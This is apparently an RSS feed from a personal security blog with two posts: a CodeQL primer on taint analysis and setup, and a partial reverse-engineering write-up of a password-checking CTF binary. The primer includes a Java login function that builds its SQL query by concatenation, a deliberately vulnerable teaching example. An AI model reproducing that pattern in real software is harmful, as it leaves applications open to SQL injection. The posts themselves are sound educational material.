<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>0xishtar@temple</title><link>https://blog.mpapad.online/</link><description>Recent content on 0xishtar@temple</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><atom:link href="https://blog.mpapad.online/index.xml" rel="self" type="application/rss+xml"/><item><title>CodeQL Primer - Part 1</title><link>https://blog.mpapad.online/1/01/codeql-primer-part-1/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://blog.mpapad.online/1/01/codeql-primer-part-1/</guid><description>CodeQL Primer CodeQL supports the following languages:
$ codeql resolve languages | cut -d&amp;#39; &amp;#39; -f1 cpp html python javascript yaml java csharp swift xml ruby properties go csv In this tutorial javascript will be used.
Download the codeql-cli binary codeql-cli: https://github.com/github/codeql-cli-binaries/releases Clone the target project Install CodeQL plugin in VSCode Configure path Change settings to use nproc threads to improve performance Build the database Write the queries Install missing dependencies (qlpacks) Open database (VSCode) Ctrl+Shift+P command palette Run query on selected database Introduction Source</description><content>&lt;h2 id="codeql-primer">CodeQL Primer&lt;/h2>
&lt;p>CodeQL supports the following languages:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ codeql resolve languages | cut -d&lt;span style="color:#b8bb26">&amp;#39; &amp;#39;&lt;/span> -f1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cpp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>python
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>javascript
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yaml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>java
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>csharp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>swift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>xml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ruby
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>properties
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>csv
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In this tutorial &lt;code>javascript&lt;/code> will be used.&lt;/p>
&lt;ol>
&lt;li>Download the codeql-cli binary
&lt;ol>
&lt;li>codeql-cli: &lt;a href="https://github.com/github/codeql-cli-binaries/releases">https://github.com/github/codeql-cli-binaries/releases&lt;/a>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Clone the target project&lt;/li>
&lt;li>Install CodeQL plugin in VSCode
&lt;ol>
&lt;li>Configure path&lt;/li>
&lt;li>Change settings to use &lt;code>nproc&lt;/code> threads to improve performance&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Build the database&lt;/li>
&lt;li>Write the queries&lt;/li>
&lt;li>Install missing dependencies (qlpacks)&lt;/li>
&lt;li>Open database (VSCode)&lt;/li>
&lt;li>&lt;code>Ctrl+Shift+P&lt;/code> command palette
&lt;ol>
&lt;li>Run query on selected database&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ol>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>&lt;strong>Source&lt;/strong>&lt;/p>
&lt;p>User input generally comes from application entry points. These include parameters in HTTP methods (GET, POST, &amp;hellip;), or command line arguments to a program. These are called &amp;ldquo;sources&amp;rdquo;. Data is &amp;ldquo;tainted&amp;rdquo; if it comes from an insecure source such as a file, the network, or the user.&lt;/p>
&lt;p>&lt;strong>Sink&lt;/strong>&lt;/p>
&lt;p>The destination of a data flow is called “sink”. Our goal is to identify dangerous functions which are sinks to a tainted data flow and might introduce exploitable vulnerabilities.&lt;/p>
&lt;p>&lt;strong>Data flow analysis&lt;/strong>&lt;/p>
&lt;p>The problem we are asked to answer is to identify any data-flow from a source to a sink. Taint analysis checks whether there is a path that tainted data can follow from the source to the sink.&lt;/p>
&lt;p>&lt;img src="./assets/codeql2.png" alt="img">Source: &lt;a href="https://github.blog/2023-03-31-codeql-zero-to-hero-part-1-the-fundamentals-of-static-analysis-for-vulnerability-research/">https://github.blog/2023-03-31-codeql-zero-to-hero-part-1-the-fundamentals-of-static-analysis-for-vulnerability-research/&lt;/a>&lt;/p>
&lt;p>In the following example, written in Java, there is an SQL Injection vulnerability. In this case, sources are &lt;code>username&lt;/code> and &lt;code>password&lt;/code> while the sink is &lt;code>stmt.executeQuery(query)&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fabd2f">boolean&lt;/span> &lt;span style="color:#fabd2f">checkLogin&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String username&lt;span style="color:#fe8019">,&lt;/span>String password&lt;span style="color:#fe8019">,&lt;/span> String user&lt;span style="color:#fe8019">){&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String query&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;SELECT * FROM users WHERE username=&amp;#39;&amp;#34;&lt;/span>&lt;span style="color:#fe8019">+&lt;/span>username&lt;span style="color:#fe8019">+&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&amp;#39; AND password=&amp;#39;&amp;#34;&lt;/span>&lt;span style="color:#fe8019">+&lt;/span>password&lt;span style="color:#fe8019">+&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&amp;#39; LIMIT 1&amp;#34;&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">try&lt;/span>&lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rs&lt;span style="color:#fe8019">=&lt;/span>stmt&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">executeQuery&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>query&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>rs&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">next&lt;/span>&lt;span style="color:#fe8019">()){&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">true&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>&lt;span style="color:#fe8019">catch&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>Exception e&lt;span style="color:#fe8019">){&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> e&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">printStackTrace&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">false&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="codeql">CodeQL&lt;/h2>
&lt;p>&lt;img src="./assets/image5.png" alt="img">Source: &lt;a href="https://github.blog/2023-06-15-codeql-zero-to-hero-part-2-getting-started-with-codeql/">https://github.blog/2023-06-15-codeql-zero-to-hero-part-2-getting-started-with-codeql/&lt;/a>&lt;/p>
&lt;h3 id="basic-syntax">Basic Syntax&lt;/h3>
&lt;ul>
&lt;li>&lt;code>from&lt;/code> defines the types and variables that are going to be queried.&lt;/li>
&lt;li>&lt;code>where&lt;/code> defines conditions on these variables in the form of a logical formula. &lt;code>where&lt;/code> can be omitted if there are no conditions.&lt;/li>
&lt;li>&lt;code>select&lt;/code> defines the output of the query.&lt;/li>
&lt;/ul>
&lt;p>More advanced syntax constructs will be examined in subsequent blog-posts.&lt;/p>
&lt;h3 id="vscode-plugin-settings">VSCode Plugin Settings&lt;/h3>
&lt;p>In file &lt;code>~/.config/Code/User/settings.json&lt;/code> you should see the following values:&lt;/p>
&lt;pre tabindex="0">&lt;code>{
...
&amp;#34;codeQL.runningQueries.numberOfThreads&amp;#34;: 8,
&amp;#34;codeQL.runningQueries.useExtensionPacks: &amp;#34;all&amp;#34;,
&amp;#34;codeQL.runningTests.numberOfThreads&amp;#34;: 4,
...
}
&lt;/code>&lt;/pre>&lt;h3 id="create-custom-database">Create custom database&lt;/h3>
&lt;p>Build database:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ mkdir -p database
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ codeql database create ./database/&amp;lt;name&amp;gt; --language&lt;span style="color:#fe8019">=&lt;/span>&amp;lt;language&amp;gt; --threads&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">`&lt;/span>nproc&lt;span style="color:#b8bb26">`&lt;/span> --overwrite
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Write queries:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ mkdir -p queries
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ cat &lt;span style="color:#b8bb26">&amp;lt;&amp;lt; EOF &amp;gt; ./queries/qlpack.yml
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">name: &amp;lt;scope&amp;gt;/&amp;lt;name&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">version: 0.0.0
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">dependencies:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26"> codeql/javascript-all: &amp;#34;*&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ cat &lt;span style="color:#b8bb26">&amp;lt;&amp;lt; EOF &amp;gt; ./queries/example.ql
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">import javascript
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">from BlockStmt b
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">select b
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Disclaimers:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>The images are taken from the Github blog posts that are included in the references section.&lt;/li>
&lt;li>I tried to keep this post short and to the point to be used as a quick reference to someone who would like to get introduced to CodeQL.&lt;/li>
&lt;li>I am currently learning CodeQL myself and the blog posts serve as a place for my notes.&lt;/li>
&lt;/ul>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://codeql.github.com/docs/writing-codeql-queries/codeql-queries">https://codeql.github.com/docs/writing-codeql-queries/codeql-queries&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://codeql.github.com/docs/codeql-language-guides/codeql-for-javascript/">https://codeql.github.com/docs/codeql-language-guides/codeql-for-javascript/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.blog/2023-03-31-codeql-zero-to-hero-part-1-the-fundamentals-of-static-analysis-for-vulnerability-research/">https://github.blog/2023-03-31-codeql-zero-to-hero-part-1-the-fundamentals-of-static-analysis-for-vulnerability-research/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.blog/2023-06-15-codeql-zero-to-hero-part-2-getting-started-with-codeql/">https://github.blog/2023-06-15-codeql-zero-to-hero-part-2-getting-started-with-codeql/&lt;/a>&lt;/li>
&lt;/ul></content></item><item><title>Free Madame De Maintenon – CTF Challenge</title><link>https://blog.mpapad.online/1/01/free-madame-de-maintenon-ctf-challenge/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://blog.mpapad.online/1/01/free-madame-de-maintenon-ctf-challenge/</guid><description>Free Madame De Maintenon Challenge: https://hex-rays.com/blog/free-madame-de-maintenon-ctf-challenge/
The provided executable is a 64-bit ELF dynamically linked and stripped binary.
➜ file ./challenge ./challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=83db7b297901c743a71f43e813e3dc266245b220, for GNU/Linux 3.2.0, stripped It has been linked against the following libraries:
➜ ldd ./challenge linux-vdso.so.1 (0x00007ffee2b5c000) libSDL2-2.0.so.0 =&amp;gt; /usr/lib/libSDL2-2.0.so.0 (0x00007f85ae726000) libSDL2_image-2.0.so.0 =&amp;gt; /usr/lib/libSDL2_image-2.0.so.0 (0x00007f85ae706000) libc.so.6 =&amp;gt; /usr/lib/libc.so.6 (0x00007f85ae51c000) libm.so.6 =&amp;gt; /usr/lib/libm.so.6 (0x00007f85ae42f000) libpng16.so.16 =&amp;gt; /usr/lib/libpng16.</description><content>&lt;h1 id="free-madame-de-maintenon">Free Madame De Maintenon&lt;/h1>
&lt;p>Challenge: &lt;a href="https://hex-rays.com/blog/free-madame-de-maintenon-ctf-challenge/">https://hex-rays.com/blog/free-madame-de-maintenon-ctf-challenge/&lt;/a>&lt;/p>
&lt;p>The provided executable is a 64-bit ELF dynamically linked and stripped binary.&lt;/p>
&lt;pre tabindex="0">&lt;code>➜ file ./challenge
./challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=83db7b297901c743a71f43e813e3dc266245b220, for GNU/Linux 3.2.0, stripped
&lt;/code>&lt;/pre>&lt;p>It has been linked against the following libraries:&lt;/p>
&lt;pre tabindex="0">&lt;code>➜ ldd ./challenge
linux-vdso.so.1 (0x00007ffee2b5c000)
libSDL2-2.0.so.0 =&amp;gt; /usr/lib/libSDL2-2.0.so.0 (0x00007f85ae726000)
libSDL2_image-2.0.so.0 =&amp;gt; /usr/lib/libSDL2_image-2.0.so.0 (0x00007f85ae706000)
libc.so.6 =&amp;gt; /usr/lib/libc.so.6 (0x00007f85ae51c000)
libm.so.6 =&amp;gt; /usr/lib/libm.so.6 (0x00007f85ae42f000)
libpng16.so.16 =&amp;gt; /usr/lib/libpng16.so.16 (0x00007f85ae3f6000)
libjxl.so.0.8 =&amp;gt; /usr/lib/libjxl.so.0.8 (0x00007f85ae000000)
libjpeg.so.8 =&amp;gt; /usr/lib/libjpeg.so.8 (0x00007f85adf7d000)
libtiff.so.6 =&amp;gt; /usr/lib/libtiff.so.6 (0x00007f85adee6000)
libwebp.so.7 =&amp;gt; /usr/lib/libwebp.so.7 (0x00007f85ae387000)
libsharpyuv.so.0 =&amp;gt; /usr/lib/libsharpyuv.so.0 (0x00007f85adede000)
/lib64/ld-linux-x86-64.so.2 =&amp;gt; /usr/lib64/ld-linux-x86-64.so.2 (0x00007f85aea7e000)
libz.so.1 =&amp;gt; /usr/lib/libz.so.1 (0x00007f85adec4000)
libhwy.so.1 =&amp;gt; /usr/lib/libhwy.so.1 (0x00007f85adeb9000)
libbrotlidec.so.1 =&amp;gt; /usr/lib/libbrotlidec.so.1 (0x00007f85adeab000)
libbrotlienc.so.1 =&amp;gt; /usr/lib/libbrotlienc.so.1 (0x00007f85ade07000)
libstdc++.so.6 =&amp;gt; /usr/lib/libstdc++.so.6 (0x00007f85ada00000)
libgcc_s.so.1 =&amp;gt; /usr/lib/libgcc_s.so.1 (0x00007f85adde2000)
libzstd.so.1 =&amp;gt; /usr/lib/libzstd.so.1 (0x00007f85add0f000)
liblzma.so.5 =&amp;gt; /usr/lib/liblzma.so.5 (0x00007f85adcdc000)
libbrotlicommon.so.1 =&amp;gt; /usr/lib/libbrotlicommon.so.1 (0x00007f85adcb9000)
&lt;/code>&lt;/pre>&lt;p>Useful SDL documentation:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://wiki.libsdl.org/wiki/index">https://wiki.libsdl.org/wiki/index&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://wiki.libsdl.org/SDL2/">https://wiki.libsdl.org/SDL2/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://wiki.libsdl.org/SDL2_image/">https://wiki.libsdl.org/SDL2_image/&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Decompiled view in Ghidra:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">int&lt;/span> &lt;span style="color:#fabd2f">main&lt;/span>(&lt;span style="color:#fabd2f">int&lt;/span> argc,&lt;span style="color:#fabd2f">char&lt;/span> &lt;span style="color:#fe8019">**&lt;/span>argv) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [...]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// 0x00: SDL INIT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> SDL_Init(&lt;span style="color:#d3869b">0xf231&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> IMG_Init(IMG_INIT_PNG);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> SDL_CreateWindowAndRenderer(&lt;span style="color:#d3869b">0x280&lt;/span>,&lt;span style="color:#d3869b">0x1e0&lt;/span>,&lt;span style="color:#d3869b">0&lt;/span>,&lt;span style="color:#fe8019">&amp;amp;&lt;/span>sdl_window,&lt;span style="color:#fe8019">&amp;amp;&lt;/span>sdl_renderer);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// 0x01: CHECK NUMBER OF ARGUMENTS
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> &lt;span style="color:#fe8019">if&lt;/span> (argc &lt;span style="color:#fe8019">&amp;lt;&lt;/span> &lt;span style="color:#d3869b">2&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> __fprintf_chk(stderr,&lt;span style="color:#d3869b">1&lt;/span>,&lt;span style="color:#b8bb26">&amp;#34;You need to give the password as the argument&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> retCode &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#d3869b">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">goto&lt;/span> L_EXIT;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// 0x02: COPY ARGUMENT TO BUFFER
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> &lt;span style="color:#928374;font-style:italic">// HINT: BUFFER SIZE = 0x18 = 24
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> strncpy((&lt;span style="color:#fabd2f">char&lt;/span> &lt;span style="color:#fe8019">*&lt;/span>)buffer,argv[&lt;span style="color:#d3869b">1&lt;/span>],&lt;span style="color:#d3869b">0x18&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// 0x03: VARIOUS CHECKS
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> [...]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// 0x04: DECRYPT LOGIC
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> sdl_buf &lt;span style="color:#fe8019">=&lt;/span> SDL_RWFromConstMem(&lt;span style="color:#fe8019">&amp;amp;&lt;/span>GOOD_PNG,&lt;span style="color:#d3869b">0xecd6c&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#fe8019">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// 0x05: FAILED IMAGE
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> &lt;span style="color:#fb4934">L_ERROR&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sdl_buf &lt;span style="color:#fe8019">=&lt;/span> SDL_RWFromConstMem(&lt;span style="color:#fe8019">&amp;amp;&lt;/span>WRONG_PNG,&lt;span style="color:#d3869b">0x6d1ba&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// 0x06: LOAD TEXTURE
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> &lt;span style="color:#928374;font-style:italic">// HINT: TEXTURE IS A PNG STORED IN SDL_BUF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> sdl_buf &lt;span style="color:#fe8019">=&lt;/span> IMG_LoadTexture_RW(sdl_renderer,sdl_buf,&lt;span style="color:#d3869b">1&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [...]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When any of the checks fails, the application loads the PNG stored at offset &lt;code>0x00004020&lt;/code>:&lt;/p>
&lt;p>&lt;img src="./assets/image-20230530145406504.png" alt="image-20230530145406504">&lt;/p>
&lt;p>&lt;img src="./assets/image-20230530150138049.png" alt="image-20230530150138049">&lt;/p>
&lt;p>By finding all references that lead to &lt;code>L_ERROR&lt;/code> label:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>001012c4&lt;/th>
&lt;th>JNZ L_ERROR&lt;/th>
&lt;th>CONDITIONAL_JUMP&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>001013c8&lt;/td>
&lt;td>JNZ L_ERROR&lt;/td>
&lt;td>CONDITIONAL_JUMP&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;strong>0010144c&lt;/strong>&lt;/td>
&lt;td>&lt;strong>JNZ L_ERROR&lt;/strong>&lt;/td>
&lt;td>&lt;strong>CONDITIONAL_JUMP&lt;/strong>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>00101495&lt;/td>
&lt;td>JNZ L_ERROR&lt;/td>
&lt;td>CONDITIONAL_JUMP&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;img src="./assets/image-20230530145616251.png" alt="image-20230530145616251">&lt;/p>
&lt;p>Ghidra&amp;rsquo;s decompiler shows the following checks are performed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> (((((uint)(ushort)buffer._22_2_ &lt;span style="color:#fe8019">+&lt;/span> (uint)(ushort)buffer._16_2_) &lt;span style="color:#fe8019">-&lt;/span> (uint)(ushort)buffer._8_2_) &lt;span style="color:#fe8019">-&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (uint)(ushort)buffer._14_2_ &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#d3869b">0x1cd4&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">&amp;amp;&amp;amp;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ((((uint)(ushort)buffer._2_2_ &lt;span style="color:#fe8019">+&lt;/span> (uint)(ushort)buffer._6_2_) &lt;span style="color:#fe8019">-&lt;/span> (uint)(ushort)buffer._10_2_) &lt;span style="color:#fe8019">+&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (uint)(ushort)buffer._20_2_ &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#d3869b">0xd899&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">if&lt;/span> ((buffer._0_8_ &lt;span style="color:#fe8019">^&lt;/span> buffer._16_8_) &lt;span style="color:#fe8019">!=&lt;/span> &lt;span style="color:#d3869b">0xa04233a475d1b72&lt;/span>) &lt;span style="color:#fe8019">goto&lt;/span> L_ERROR;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> (((buffer._20_4_ &lt;span style="color:#fe8019">+&lt;/span> buffer._0_4_ &lt;span style="color:#fe8019">*&lt;/span> &lt;span style="color:#d3869b">2&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> buffer._8_4_ &lt;span style="color:#fe8019">*&lt;/span> &lt;span style="color:#fe8019">-&lt;/span>&lt;span style="color:#d3869b">4&lt;/span>) &lt;span style="color:#fe8019">-&lt;/span> ((uint)buffer._16_4_ &lt;span style="color:#fe8019">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#d3869b">3&lt;/span>)) &lt;span style="color:#fe8019">-&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ((uint)buffer._4_4_ &lt;span style="color:#fe8019">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#d3869b">3&lt;/span>) &lt;span style="color:#fe8019">!=&lt;/span> &lt;span style="color:#d3869b">0x4b5469c&lt;/span>) &lt;span style="color:#fe8019">goto&lt;/span> L_ERROR;
